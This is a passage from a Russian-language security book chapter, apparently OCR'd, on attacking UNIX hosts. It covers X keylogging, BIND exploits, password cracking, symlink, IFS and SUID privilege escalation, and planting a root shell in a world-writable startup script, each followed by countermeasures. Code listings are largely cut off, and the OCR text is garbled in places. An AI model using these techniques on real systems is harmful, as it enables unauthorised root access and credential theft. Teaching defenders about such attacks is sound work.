охарактеризовать так: "Все или ничего". После того как клиент получил доступ к Х-серверу, ему выдается полная индульгенция. Клиенты X могут перехватывать нажатия клавиш на пользовательской консоли, закрывать окна, захватывать любые окна сервера и отображать их содержимое где угодно, и даже переключать клавиатуру на свою, независимо от того, какие клавиши нажимает пользователь. Многие проблемы основываются на слабой парадигме управления доступом или полном равнодушии системного администратора. Самой простой и популярной формой управления доступом к X является аутентификация с использованием команды xhost. Данный механизм обеспечивает управление доступом на основе IP-адреса и является при этом наиболее слабой формой аутентификации. Для удобства работы системный администратор может ввести команду xhost +, что позволит получить доступ к Х-серверу без какой-либо аутентификации любому локальному или удаленному пользователю (при использовании параметра + доступ к серверу разрешен для всех узлов). Что еще хуже, многие Х-серверы, работающие на платформе PC, по умолчанию настроены именно на использование команды xhost +, подвергая тем самым огромной опасности ничего не подозревающих пользователей. Как вы понимаете, этим, казалось бы незначительным, недостатком могут воспользоваться злоумышленники. [tsunami]$ xscan quake Теперь все клавиши, нажимаемые на клавиатуре удаленного компьютера, будут регистрироваться в файле KEYLOG.quake. [tsunami]$ tail -f KEYLOG.quake:0.0 Затем достаточно воспользоваться командой tail, чтобы увидеть, что набирает на клавиатуре пользователь в режиме реального времени. В нашем примере пользователь ввел команду su, а затем, в ответ на приглашение, — пароль lamowned! (утилита xscan умеет даже определять нажатие клавиш <Shift>). [tsunami]! xlswins -display quake:0.0 Igrep -i netscape Программа xlswins отображает много информации, поэтому в нашем примере мы используем утилиту grep, чтобы установить, запушен ли броузер Netscape. К счастью, нам повезло — броузер Netscape действительно запущен на удаленном компьютере. Однако ничего не мешает просмотреть все выдаваемые утилитой xlswins результаты и найти интересующие вас окна, не полагаясь на удачу. Теперь, для того чтобы увидеть окно Netscape на своем компьютере, мы воспользуемся программой XWatchWin, как показано на рис. 8.3.
Контрмеры: защита системы X Сделайте все возможное, чтобы избежать использования команды xhost +. He ленитесь, помните о безопасности! Если вы не можете пойти на столь радикальные меры, тогда хотя бы применяйте команду xhost -, которая запрещает новые подключения, однако позволяет функционировать уже имеющимся. Если вы должны разрешить удаленный доступ к вашему Х-серверу, обязательно указывайте IP-адрес каждого сервера, которому разрешен доступ. Никогда не забывайте о том, что любой пользователь такого сервера может скрытно подключиться к вашему Х-серверу. Среди других мер по обеспечению безопасности можно выделить применение более серьезного механизма аутентификации, такого как MIT-MAGIC-COOKIE-1, XDM-AUTHORIZATION-1 и MIT-KERBEROS-5. Эти механизмы обеспечивают довольно высокий уровень защиты при подключении к Х-серверу. Если вы используете программу xterm или аналогичный терминал, включите режим Secure Keyboard. Это позволит запретить любому процессу перехватывать нажатия клавиш. Кроме того, подумайте о том, чтобы блокировать доступ извне к портам 6000-6063 на уровне брандмауэра с целью запретить несанкционированным пользователям подключаться к портам Х-сервера. И наконец, воспользуйтесь защищенной оболочкой ssh и ее возможностями по повышению уровня защиты сеансов X. Убедитесь, что в файле sshd_config или sshd2_config для параметра ForwardXll установлено значение yes. Атаки на систему DNS DNS является одной из наиболее популярных служб, используемых в Internet и большинстве корпоративных интрасетей. Как и следовало ожидать, такое широкое распространение службы DNS оказалось одной из причин многочисленных атак на эту систему. Взломщики постоянно пытаются воспользоваться слабыми местами одной из наиболее стандартной реализации службы DNS системы UNIX— пакета BIND (Berkeley Internet Name Domain). Кроме того, DNS является одной из нескольких служб, которые практически всегда оказываются необходимыми и функционируют по всему периметру корпоративной сети, обеспечивая доступ к Internet. Таким образом, любая ошибка службы DNS практически всегда приводит к возможности удаленного проникновения (зачастую с привилегиями root). В одном из отчетов по вопросам безопасности, который был опубликован в 1999 году и взбудоражил общественное мнение, сообщалось, что более 50% всех соединенных с Internet серверов DNS уязвимы для атак взломщиков. Так что подобная опасность абсолютна реальна. Соблюдайте осторожность! [ tsunami]# dig В приведенном фрагменте для определения используемой версии службы DNS демону named передается соответствующий запрос. Сейчас стоит еще раз подчерктть важность процесса предварительного сбора данных. В рассматриваемом примере на целевом сервере DNS используется программа named версии 8.2.2, которая уязвима для атак NXT. Для этой же атаки оказываются уязвимыми также версии 8.2 и 8.2.1 этой программы. [tsunami]# adm-nxt После проведения предварительного сбора данных с использованием утилиты шпар стало известно, что на удаленном узле используется система Red Hat 6.x. Таким образом, для утилиты adm-nxt необходимо задать режим 1. [quake]# nslookup Как видно из приведенного листинга, взломщик запустил команду nslookup в интерактивном режиме на отдельном компьютере, находящемся в его полном распоряжении. Затем он перешел от использования сервера DNS, заданного по умолчанию, к [tsunami]# t666 I
Контрмеры: защита службы DNS Первое и самое главное — отключите и удалите пакет BIND на всех узлах, которые не используются в качестве сервера DNS. Во многих версиях системы UNIX (особенно Linux) программа named автоматически запускается при начальной загрузке компьютера, несмотря на то, что она никогда не используется. Во-вторых, удостоверьтесь в том, что используется текущая версия пакета BIND, в состав которой входят модули обновления подсистемы защиты (www.bind.org). В-третьих, запускайте программу named с правами непривилегированного пользователя. Другими словами, программа named должна запускаться с привилегиями root только для связывания с портом 53. После этого эти привилегии нужно понизить с использованием параметра -u (named -и dns -g dns). И наконец, программа named должна запускаться с использованием параметра -t из среды chrooted() (named -u dns -g dns -t /home/dns). Это поможет предотвратить попытки взломщика, связанные с обходом файловой системы и в том случае, если им был получен доступ. Даже если все перечисленные меры защиты решат поставленную задачу, не стоит успокаиваться на достигнутом. Безопасности сервера DNS необходимо постоянно уделять самое пристальное внимание. |
Локальный доступ Итак, мы рассмотрели общие принципы получения удаленного доступа. Как уже упоминалось выше, большинство взломщиков, используя изъяны в защите средств удаленного доступа, стремятся получить локальный доступ. Если злоумышленнику удается получить интерактивный доступ к командной оболочке, он рассматривается системой как локальный пользователь. Хотя при удаленном взломе в некоторых случаях злоумышленникам удается сразу же получить доступ к компьютеру в качестве суперпользователя root, в большинстве случаев им приходится начинать с доступа в качестве обычного пользователя. Таким образом, взломщик должен заняться деятельностью, призванной расширить его полномочия от простого пользователя до суперпользователя. Эта деятельность называется расширением полномочий (privilege escalation). Сложность методики расширения полномочий зависит как от типа и версии используемой операционной системы, так и от качества ее настройки на конкретном компьютере. Некоторые операционные системы по умолчанию принимают все меры, препятствующие обычным пользователям расширять полномоия до уровня суперпользователя root, тогда как другие позволяют это делать. Например, пользователю операционной системы OpenBSD, установленной с параметрами настройки, принятыми по умолчанию, значительно сложнее расширить свои полномочия до уровня root, чем, скажем, пользователю операционной системы Irix. Конечно, индивидуальная настройка может значительно повысить уровень общей безопасности системы. В следующем разделе этой главы будут рассматриваться методы, позволяющие обычному пользователю получить доступ к системе на уровне суперпользователя. Необходимо заметить, что, хотя для большинства взломщиков типичным является поведение, заключающееся в попытках получить доступ на уровне root, в некоторых случаях у злоумышленника может не быть такой необходимости. Например, если взломщика интересует получение доступа к базе данных Oracle, то ему, скорее всего, достаточно будет получить доступ к учетной записи, под которой работает Oracle, а не к учетной записи root. Поиск неправильно выбранных паролей Как уже отмечалось выше, после того, как взломщику удалось получить доступ, самую большую угрозу для безопасности представляют собой легко угадываемые пароли. Не имеет значения, идет ли речь об удаленном или локальном доступе — неправильно выбранные пароли представляют собой одно из самых слабых мест системы защиты. Ввиду того что выше мы уже указывали на основные проблемы, связанные с выбором паролей, здесь мы остановимся в основном на изучении методов взлома.
Из всего многообразия программ, предназначенных для взлома паролей, можно выделить Crack 5.0а Алека Маффета (Alec Muffett) и John the Ripper. Программа Crack 5.0л, которую для краткости мы будем называть просто Crack, является, пожалуй, самой популярной программой взлома паролей. К тому же она постоянно совершенствуется, а ее весьма обширный словарь, содержащий очень широкий спектр возможных паролей — от ненормативной лексики до названий из сериала Star Trek, — постоянно пополняется. Crack поддерживает даже возможность распределения вычислений, предназначенных для взлома пароля, на нескольких компьютерах. Программа John the Ripper, или просто John, является более новой, чем Crack 5.0a. Ее отличительная особенность заключается в высокой степени оптимизации для взлома максимально возможного количества паролей за минимальное время. Кроме того, John поддерживает больше алгоритмов хэширования, чем Crack. Обе программы позволяют проверять не только слова, находящиеся в словаре, но и их модификации. По умолчанию в состав каждого из этих двух инструментов входит более 2400 правил, которые можно применить к словарю для подбора паролей, которые, казалось бы, очень трудно взломать. В комплект поставки обеих программ входит обширная документация, с которой мы настоятельно рекомендуем ознакомится. Чтобы не рассматривать все возможные параметры и режимы работы этих программ, мы покажем, как запустить Crack на выполнение и прокомментируем полученные результаты. Для этого вам необходимо знать структуру файла паролей. Если вы недостаточно владеете данным вопросом, обратитесь к хорошей книге по UNIX. Crack 5.0a Для того чтобы запустить программу Crack, достаточно указать, где находится файл паролей, а затем лишь дождаться результата. Crack является самокомпилирующейся программой, поэтому после запуска на самом деле вызывается утилита make, которая собирает воедино все необходимые компоненты. Одной из сильных сторон программы Crack является обширный набор правил создания различных словоформ и модификаций. Кроме того, при каждом запуске эта программа генерирует пользовательский список слов, в который включается такая информация, как имя пользователя, а также сведения, указанные в поле GECOS (комментарии). Именно поэтому не забывайте посмотреть на поле GECOS при взломе паролей! Очень часто в поле GECOS пользователи указывают свое полное имя и при этом выбирают пароль, который представляет собой некоторую комбинацию имени и фамилии или их частей. Программа Crack очень легко справляется с такими несложными паролями. Давайте посмотрим как выглядит типичный файл паролей, а затем попробуем применить к нему программу взлома. root:cwIBREDaWLHmo:0:0:root:/root:/bin/bash Для того чтобы запустить программу Crack для взлома данного файла, необходимо воспользоваться следующей командой. [tsunamitt Crack passwd Начиная с этого момента программа Crack переходит к функционированию в фоновом режиме с сохранением результатов в базе данных. Для того чтобы обратиться к этой базе данных и узнать, какие пароли были взломаны, необходимо запустить утилиту Reporter. [tsunami]# Reporter -quiet Если вы хотите увидеть только пароли, взломанные к текущему моменту, необходимо запустить профамму Reporter с параметром -quiet. При запуске утилиты без параметров на экран выводятся сведения об ошибках, предупреждения, а также сведения о заблокированных паролях. В комплект поставки профаммы Crack входит еще и несколько очень полезных сценариев. Один из них — shadmrg. sv. Он предназначен для объединения файла паролей UNIX со скрытым файлом паролей, что позволяет получить один исходный файл, содержащий всю информацию, необходимую для взлома паролей. Еще одной интересной командой является команда make tidy, с помощью которой можно удалить остаточные учетные пользовательские записи и пароли после выполнения Crack. John the Ripper John the Ripper — одна из лучших утилит взлома паролей, доступных в настоящее время. Ее версии как для UNIX, так и для NT можно найти по адресу http://www.openwall.com/john/. Как уже упоминалось, программа John является одной из лучших и самых быстрых утилит и она очень проста в применении. [shadow]# John passwd На вход утилиты John при запуске подается файл паролей (passwd), и это все, что нужно сделать. Утилита самостоятельно определит применяемый алгоритм шифрования, в данном случае DES, а затем приступит к взлому паролей. Сначала будет использован файл словаря (password. 1st), а затем начнется процесс подбора паролей. Как видно из приведенного листинга, утилитой John был получен пароль пользователя job, тогда как программе Crack удалось подобрать пароль пользователя j f г. Так что с помощью каждой программы были получены различные результаты. В основном это объясняется ограниченным списком слов, содержащимся в файле словаря \тили-ты John, так что мы рекомендуем его расширить. Обширный список слов можно найти ПО адресу http://packetstorm.securify.com/Crackers/wordlists/. Контрмеры: защита от взлома неправильно выбранных паролей Контрмеры, позволяющие защитить систему от попыток взлома неправильно выбранных паролей, приведены в разделе "Защита От Подбора Паролей "В Лоб"" выше в данной главе. Локальное переполнение буфера Взлом путем локального переполнения буфера — один из самых популярных видов атак. Как уже упоминалось выше в этой главе в разделе "Удаленный Доступ", используя переполнение буфера, взломщик может запустить на интересующей его системе произвольный код или команду. В большинстве случаев переполнение буфера применяется для взлома файлов, работающих в контексте SUID суперпользователя, что обеспечивает злоумышленнику возможность запуска команд с привилегиями root. Выше в разделе "Взлом Путем Переполнения Буфера" этой главы мы уже рассматривали, как при возникновении переполнения буфера можно выполнить произвольный код. В этом разделе мы на нескольких примерах рассмотрим, как происходит типичный взлом путем локального переполнения буфера. [quake]$ ./ex_lobc Итак, программа взлома перешла к заданному адресу памяти, в результате чего оболочка /bin/sh запустилась с привилегиями суперпользователя, о чем говорит символ # в строке приглашения. Данный пример очень прост и дает возможность любому почувствовать себя экспертом в вопросах безопасности. На самом деле участники группы Shadow Penguin Security проделали колоссальную работу, чтобы найти данный изъян и написать соответствующую программу. Как легко догадаться, простота получения доступа на уровне суперпользователя — это основная притягательная сила, побуждающая взломщиков использовать программы, приводящие к локальному переполнению буфера. Контрмеры: защита от локального переполнение буфера Лучшим методом зашиты от локального переполнения буфера является учет требований безопасности в процессе программирования, а также включение режима, запрещающего выполнение кода, находящегося в стеке. Достаточно выполнить хотя бы последнее требование, чтобы значительно усложнить работу злоумышленника, который попытается написать программу, использующую только что рассмотренный изъян. Полный перечень контрмер приведен в разделе "Взлом Путем Переполнения Буфера" данной главы. Здесь мы лишь добавим, что очень хорошей практикой является установка бита SUID только для тех программ, которым действительно необходим доступ на уровне суперпользователя. Символьные ссылки Устаревшие, рабочие и временные файлы в той или иной степени "захламляют" большинство систем. К счастью, в UNIX большинство временных файлов создается в одном каталоге /tmp. Однако, хотя, с одной стороны, это и удобно, с другой — несет в себе определенную опасность. Многие программы, работающие в контексте SUID суперпользователя, создают рабочие файлы в каталоге /tmp или других подобных каталогах даже без намека на какую-либо проверку соблюдения правил безопасности. Основная проблема связана с использованием некоторыми программами при доступе к файлам символьных ссылок без проверки того, является ли тот или иной файл ссылкой или же реальным файлом. Символьная ссшка (symbolic link) — это файл специального вида, созданный с помощью команды In. По сути, такой файл представляет собой не что иное, как ссылку на другой файл. Давайте, например, создадим символьную ссылку /tmp/fоо на файл /etc/passwd. [quake]$ 1s -1 /etc/passwd Теперь создадим символьную ссылку /var/dt/appconfig/appmanager/generic-display-0, указывающую на файл /etc/passwd. [quake]$ In -s /etc/passwd /var/dt/appconfig/ Наконец, запустим утилиту dtappgather, а затем проверим права доступа к файлу /etc/passwd. [quake]$ /usr/dt/bin/dtappgather Итак, утилита dtappgather "бездумно" воспользовалась созданной нами символьной ссылкой и изменила владельца и права доступа к файлу /etc/passwd. Теперь то же самое нужно проделать для файла /etc/shadow. После того как изменены владельцы файлов /etc/shadow и /etc/passwd, можно модифицировать эти файлы и добавить в них учетную запись с UID 0 (эквивалент суперпользователя). И на все это уйдет не больше минуты! Контрмеры: защита от взлома с использованием символьных ссылок В данном случае самой лучшей защитой является программирование с учетом требований безопасности. К сожалению, алгоритмы многих программ не предусматривают проведение профилактической проверки уже созданных файлов. Прежде чем создавать файл, программист должен проверить его существование, воспользовавшись флагами O_EXCL | O_CREAT. При создании временных файлов задайте маску с помощью команды umask, а затем воспользуйтесь функциями tmpfileO или mktemp (). Если вам действительно интересно знать, какими программами создаются временные файлы, воспользуйтесь следующей командой в каталоге /bin или /usr/sbin/. Взлом с помощью дескриптора файла Дескрипторы файлов (file descriptor) — это неотрицательные целые числа, которые используются системой для управления файлами. Дескрипторы позволяют облегчить работу операционной системы, устраняя необходимость манипуляции именами файлов. В соответствии с принятыми соглашениями, дескрипторы 0, 1 и 2 определяют стандартный входной поток, стандартный выходной поток и стандартный поток ошибок соответственно. Таким образом, когда функции ядра открывают существующий файл или создают новый, они возвращают определенный дескриптор, который может использоваться программой для выполнения над этим файлом операций чтения/записи. Если дескриптор соответствует файлу, который был открыт для чтения и записи (O_RDWR) привилегированным процессом, то во время модификации этого файла взломщик может получить к нему доступ и произвести в него запись. Таким образом, с помощью этого метода можно модифицировать один из важных системных файлов и получить доступ на уровне суперпользователя. #Chanqing user database information for gk. Теперь на время выйдем из редактора vi в командную оболочку, воспользовавшись для этого командой ! sh. [dinky]$ nohup ./chpass & Как только мы воспользовались командой su и учетной записью owned, мы получили доступ на уровне суперпользователя. Весь описанный процесс можно воплотить всего лишь в нескольких строках кода. int Этот код предоставлен Марком Зелинским (Mark Zielinski). Контрмеры: защита от взлома с помощью дескриптора файла Разработчики программ, предназначенных для работы в контексте SUID, должны следить за корректностью распределения дескрипторов файлов. В частности, при системном вызове execveO необходимо устанавливать флаг close-on-exec. Как уже упоминалось выше, необходимо также сбросить бит SUID у всех программ, для которых его устанавливать необязательно. Гонки на выживание В реальной жизни хищник нападает на жертву, когда она наименее защищена. В ки-берпространстве эта аксиома также имеет место. Компьютерные взломщики, как правило, стремятся воспользоваться недостатками в системе защиты программы или процесса при выполнении ими какой-нибудь привилегированной операции. Обычно при этом время взлома-планируется таким образом, чтобы повредить программу или процесс после того, как они перейдут в привилегированный режим, но до завершения использования привилегированных прав. В большинстве случаев этот временной интервал достаточно ограничен, поэтому взломщикам нужно очень хорошо рассчитать момент нападения, чтобы успеть вовремя скрыться со своей добычей. Недостаток системы защиты, позволяющий злоумышленнику установить факт наличия такого временного интервала, называется состоянием гонки на выживание (race condition). Если взломщику удается вмешаться в нор-мальную работу в то время, когда процесс или программа находится в привилегированном состоянии, то говорят о том, что он "выигрывает гонку" (winning the race). Состояние гонки на выживание может быть различных типов. Мы ограничимся описанием тех из них, которые связаны с обработкой сигналов. Проблемы обработки сигналов В системе UNIX сигналы (signal) обеспечивают механизм, используемый для извещения процесса о том, что возникло какое-то определенное условие. Кроме того, с помощью сигналов обрабатываются асинхронные события. Например, когда пользователь хочет приостановить работу выполняющейся программы, он нажимает комбинацию клавиш <Ctrl-t-Z>. При этом всем активным процессам (foreground) рассылается сигнал SIGTSTP. Таким образом, с помощью сигналов изменяется ход выполнения программы. Как и раньше, выражение "изменяется ход выполнения программы" должно вызвать у вас мгновенную реакцию, так как такие действия обычно таят в себе угрозу для безопасности. Действительно, возможность влиять на ход выполнения работающей программы — одна из самых важных проблем в обеспечении безопасности обработки сигналов. Если бы дело ограничивалось лишь сигналом SIGTSTP, это было бы не столь критично, однако в действительности для подобных целей может использоваться свыше 30 сигналов, что, как вы понимаете, представляет собой сложную проблему. Контрмеры: защита от взлома с помощью сигналов Когда речь идет о файлах SUID, корректная обработка сигналов должна быть обязательным требованием. Если программа перехватывает и обрабатывает сигналы надлежащим образом, конечный пользователь не сможет сделать ничего такого, что нарушило бы безопасность. Конечно, об этом должны позаботится программисты, а администратор прежде всего должен убедиться в том, что бит SUID установлен только для тех файлов, которым это действительно необходимо. Об этом уже неоднократно говорилось. Кроме того, нужно удостовериться в том, что установлены все модули обновления, предоставленные разработчиком операционной системы. Манипуляции с файлами дампов Возможность получения дампа (core file) при выполнении программы может привести гораздо к более серьезным последствиям, чем кажется на первый взгляд. Во время работы системы UNIX в памяти может находиться много важной информации, включая, например, хэш-коды паролей, считанные из скрытого файла паролей. Одним из примеров манипуляций с файлами дампов является изъян, имевший место в старых версиях FTPD. Сервер FTPD позволял взломщикам записать дамп оперативной памяти в общедоступный файл, размещаемый в корневом каталоге. Для этого перед подключением к серверу нужно было лишь передать команду PASV. Помимо прочего в файле дампа содержалась часть скрытого файла паролей и в большинстве случаев хэш-коды пользовательских паролей. Если взломщику удавалось найти эти коды в файле дампа, он получал возможность взломать привилегированную учетную запись и получить доступ к системе на уровне суперпользователя. Контрмеры: защита от взлома с помощью файлов дампов Файлы дампов — это неизбежное зло. Несмотря на то что они могут предоставить взломщику конфиденциальную информацию, они также обеспечивают получение не менее важной информации и системному администратору в тех случаях, когда выполнение программы завершается аварийно. Если того требуют ваши правила обеспечения безопасности, можно ограничить генерацию файлов дампов с помощью команды ulimit и даже полностью отключить ее, установив ulimit равным 0 в системном профиле. Более подробную информацию по команде ulimit вы найдете в интерактивной справочной системе. [tsunami]$ ulimit -a
Совместно используемые библиотеки Совместно используемые библиотеки (shared library) позволяют исполняемым файлам обращаться к функциям общего назначения во время выполнения. Соответствующий программный код заранее компилируется, а затем помещается в ту или иную совместно используемую библиотеку. При запуске программы, которой нужна какая-то функция, находящаяся в такой библиотеке, программа обращается к этой библиотеке, загружает в память нужный код и выполняет его. Главным преимуществом таких библиотек является экономия дискового пространства и оперативной памяти, а также упрощение сопровождения программ, так как обновление библиотеки автоматически влечет за собой обновление функциональности всех работающих с ней программ. Конечно, за повышенное удобство приходится расплачиваться ослаблением безопасности. Если взломщику удастся модифицировать совместно используемую библиотеку или с помощью переменных окружения ему удастся переключить программы на применение своей собственной библиотеки, это может привести к получению им доступа на уровне суперпользователя. Контрмеры: защита совместно используемых библиотек При зафузке модулей с установленным флагом SU1D суперпользователя динамические компоновщики должны игнорировать значения переменной окружения LD_PRELOAD. Пуристы могут возразить, что совместно используемые библиотеки должны быть хорошо написаны и нет никакой опасности в том, что они указаны в переменной LD_PRELOAD. В действительности же в этих библиотеках могут оказаться ошибки, снижающие безопасность системы при выполнении кода, хранящегося в библиотеке, в контексте SUID. Более того, защищать совместно используемые библиотеки (например, /usr/lib или lie) нужно также тщательно, как и самые важные файлы. Если взломщик сможет получить доступ к /usr/lib или /lib, система станет абсолютно беззащитной. Изъяны ядра Не секрет, что UNIX является очень сложной и надежной операционной системой. Из-за сложности в UNIX и других мощных операционных системах неизбежно имеются определенные программные ошибки. В UNIX наиболее опасный недостаток связан с самим ядром. Ядро представляет собой внутренний компонент операционной системы, в котором реализована общая модель ее подсистемы защиты. Эта модель обеспечивает обработку разрешений на использование файлов и каталогов, расширение и отключение привилегий файлов SUID, обработку сигналов и т.д. Если слабое место появляется в самом ядре, то под угрозой оказывается безопасность всей операционной системы в целом. Контрмеры: защита ядра Описанный изъян имеет место во многих системах Linux. Поэтому соответствующий модуль обновления системному администратору нужно установить в первую очередь. К счастью, это очень просто осуществить. Для тех, кто использует ядро версии 2.2.x, достаточно просто обновить его до версии 2.2.16 или более высокой. Неправильная настройка системы В предыдущих разделах мы описали часто встречаемые изъяны, а также методы, с помощью которых злоумышленники могут воспользоваться этими недоработками и получить привилегированный доступ. Перечень таких изъянов и соответствующих методов достаточно велик, однако в распоряжении взломщиков имеется гораздо больше методов взлома, чем можно было бы предположить исходя из такого перечня. Это объясняется тем, что зачастую нарушение безопасности происходит не только и не столько из-за наличия технических дефектов в системе защиты, сколько из-за недостаточно тщательной настройки и неэффективных методов администрирования. Операционная система может быть сама по себе очень безопасной и надежной, но если системный администратор изменит права доступа к файлу /etc/passwd, открыв его для всеобщего доступа, все остальные меры по защите данных могут оказаться бесполезными. Именно этот человеческий фактор и недооценивается в большинстве случаев. Права доступа к файлам и каталогам Простота и мощь системы UNIX основывается на реализованном в ней механизме использования файлов. Независимо от того, являются ли они двоичными исполняемыми программами, текстовыми конфигурационными файлами или устройствами, все эти объекты представляют собой файлы с соответствующими правами доступа. Если система разрешений недостаточно хорошо реализована или намеренно изменена администратором, безопасность системы может быть значительно снижена. Ниже описаны два самых распространенных недостатка в процедурах администрирования, которые заключаются в установке для файлов флага SUID, а также в создании файлов, общедоступных для записи. Из-за ограничений на объем книги проблемы обеспечения безопасности устройств (/dev) подробно не рассматриваются, однако это вовсе не означает, что к ним можно применять менее строгие защитные меры. Злоумышленник, который может создавать устройства или получать права чтения/записи важнейших системных ресурсов, таких как /dev/kmem, практически гарантированно сможет получить доступ на уровне суперпользователя. Файлы SUID Установка для файлов бита SUID или SGID — смертельно опасна. Этим все сказано! Ни один другой файл системы UNIX не подвержен столь частым попыткам злоумышленников всех мастей получить несанкционированный доступ, как файл с SUID суперпользователя. Практически во всех описанных выше случаях взлома были задействованы те или иные процессы, выполняющиеся на уровне привилегий суперпользователя, — большинство из них уже имели установленный бит SUID. Переполнение буфера, гонки на выживание и взлом с использованием символьных ссылок никогда не принесут ожидаемого эффекта, если для программы не установлен флаг SUID. К сожалению, большинство разработчиков относятся к биту SUID так, как будто это вышедшая из моды вещь. Пользователи, не заботящиеся о безопасности, также заражаются таким образом мышления. Многие из них слишком ленивы для того, чтобы предпринимать какие бы то ни было дополнительные меры при выполнении работы и склонны полагать, что все программы должны выполняться с уровнем привилегий суперпользователя. [tsunami]# find / -type f -perm -04000 -Is Большинство из перечисленных в листинге программ (например, chage и passwd) для корректной работы требуют наличия привилегий SUID. Скорее всего, взломщики сосредоточат свои усилия на таких программах, особенно на тех из них, которые уже взламывались в прошлом или слишком сложны, а следовательно, вероятность того, что в них имеются недостатки и ошибки, достаточно высока. Хорошей отправной точкой является программа dos. Эта программа создает виртуальную машину и для выполнения некоторых операций требует прямого доступа к аппаратным средствам. Прежде всего взломщики обращают внимание на те программы, которые выполняют нетривиальные операции или не находятся под таким жестким контролем, как другие SUID-программы. Давайте проведем небольшое исследование и попробуем определить, насколько программа dos пригодна для взлома. Для этого обратимся к документации HOWTO. Наша цель в данном исследовании — определить, имеются ли в этой программы дефекты, проявляющиеся в тех случаях, когда она запускается в контексте SUID. Если ответ будет положительным, значит, она предстаатается хорошим кандидатом для взлома. Контрмеры: защита от взлома с использэванием SUID-файлов Лучшей мерой по защите от взлома, основанного на использовании SUID/SGID-файлов, является сброс флага SUID/SGID у как можно большего количества файлов. Исчерпывающий список файлов, которые не должны иметь такого бита, привести трудно в связи с большими различиями в версиях UNIX разных разработчиков. Поэтому любой перечень, который мы могли бы представить в данной книге, почти наверняка окажется неполным. Можем лишь посоветовать провести инвентаризацию всех SUID/SGID-файлов и проверить, действительно ли необходимо, чтобы тот или иной файл имел привилегии на уровне суперпользователя. Для этого вы можете использовать метод, который применяют взломщики, когда хотят найти SUID/SGID-файлы. С помощью следующей команды можно найти все SUID-файлы. Общедоступные для записи файлы Еще одной типичной ошибкой в настройке является разрешение записи в важные файлы всем пользователям. Как и в случае файлов SUID, общедоступные для записи файлы создаются для удобства работы. Однако за это приходится расплачиваться понижением уровня защиты важной информации. Если администратор не замечает очевидных недостатков, то злоумышленники, как правило, находят их очень быстро. К файлам, которые часто открывают для всеобщего доступа, относятся системные файлы инициализации, важные системные конфигурационные файлы и пользовательские файлы запуска. Давайте рассмотрим некоторые примеры того, как взломщик может воспользоваться общедоступными для записи файлами, find / -perm -2 -type f -print /etc/rc.d/rc3.d/S991ocal Итак, даже беглого взгляда на полученные результаты достаточно, чтобы сделать вывод о наличии серьезных проблем. В частности, файл /etc/re.d/rc3.d/S991ocal является общедоступным для записи сценарием. Данная ситуация чрезвычайно опасна, поскольку при запуске системы этот сценарий выполняется с привилегиями суперполъзователя. Например, взломщик может создать экземпляр командной оболочки, работающей в контексте SU1D, которая будет запущена при следующем запуске системы. Для этого ему достаточно добавить в файл сценария следующую команду. [tsunami]$ echo "/bin/cp /bin/sh /trap/.sh ; При следующей перезагрузке системы в каталоге /tmp будет создан SUID-экземпляр командной оболочки. Второй возможный метод взлома заключается в использовании каталога /home/public. Поскольку он открыт для записи, с помощью команды mv взломщик может перезаписать любой файл из этого каталога. Это оказывается возможным, поскольку права доступа к каталогу перекрывают права доступа к отдельным файлам этого каталога. Скорее всего, типичный взломщик перепишет файлы запуска пользовательских экземпляров командной оболочки (например. . login или .bashrc), в которых будет создан файл SUID. После того как кто-нибудь использует учетную запись public для регистрации в системе, командная оболочка с правами суперпользователя будет ожидать взломщика. Контрмеры: защита общедоступных для записи файлов Регулярный поиск всех общедоступных для записи файлов является хорошей практикой системного администратора. Измените права записи для всех найденных каталогов и файлов, которые не должны быть общедоступными. Конечно, решение о том, нужно ли тот или иной файл или каталог делать общедоступным, иногда принять довольно сложно, поэтому мы рекомендуем исходить хотя бы из здравого смысла. Если этот файл используется при инициализации, конфигурации или запуске системы, то, скорее всего, он не должен быть общедоступным. Однако помните, что файлы драйверов некоторых устройств, находящиеся в папке /dev, должны быть общедоступными. Поэтому применяйте взвешенный подход к вносимым изменениям и тщательно тестируйте работоспособность системы после каждого существенного изменения. Взлом командной оболочки Командная оболочка UNIX представляет собой очень мощную программу, которая обеспечивает удобную работу пользователей. Одной из главных отличительных особенностей окружения командной оболочки UNIX является возможность программировать команды, а также устанавливать определенные параметры, влияющие на работу самой командной оболочки. Конечно же, как часто бывает в подобных ситуациях, богатые возможности имеют и обратную сторону, проявляющуюся в наличии многочисленных слабых мест с точки зрения обеспечения безопасности. Одним из самых популярных методов взлома является использование переменной IFS (Internal Field Separator). Взлом IFS Переменная IFS предназначена для отделения друг от друга слов, используемых в окружении командной оболочки. Обычно значением переменной IFS является символ пробела, который служит для разделения команд по умолчанию. Манипулируя переменной IFS, взломщик может запустить с помощью какой-нибудь SUID-программы "троянского коня" и получить, таким образом, привилегии суперпользователя. Обычно в этих целях используется сценарий командной оболочки с установленным флагом SUID, однако в рассматриваемом примере мы воспользуемся программой loadmodule. #!/bin/csh Данный сценарий взлома делает текущим каталог /tmp и создает в нем дочерний каталог /bin. Как это зачастую бывает, создается копия /bin/sh, которая вскоре будет запущена. Затем для переменной IFS в сценарии устанавливается значение / вместо символа пробела. Поскольку в переменной 1FS содержится значение /, то SUID-программа loadmodule, ничего не подозревая, запускает на выполнение программу /tmp/bin/bin. В результате создается копия командной оболочки с привилегиями суперпользователя, которой взломщику остается лишь воспользоваться. Контрмеры: защита переменной IFS При взломе с использованием переменной IFS в большинстве случаев мишенью злоумышленников является системная функция system(). Вызов этой функции используется в оболочке sh для анализа командной строки перед ее выполнением Для того чтобы избежать возможных злоупотреблений, можно применить простую программу, которая автоматически устанавливает в качестве значения переменной IFS символ пробела. Ниже приведен пример такой программы, код которой предоставил Джереми Рауч (Jeremy Rauch). #define EXECPATH "/usr/bin/real/" К счастью, большинство современных версий UNIX игнорирует значение переменной IFS, если командная оболочка работает с привилегиями суперпользователя, а ее эффективный UID отличается от реального UID. В качестве совета можно еше pas подчеркнуть, что не нужно создавать сценарии с привилегиями SUID, а количество SUID-файлов свести к минимуму. |
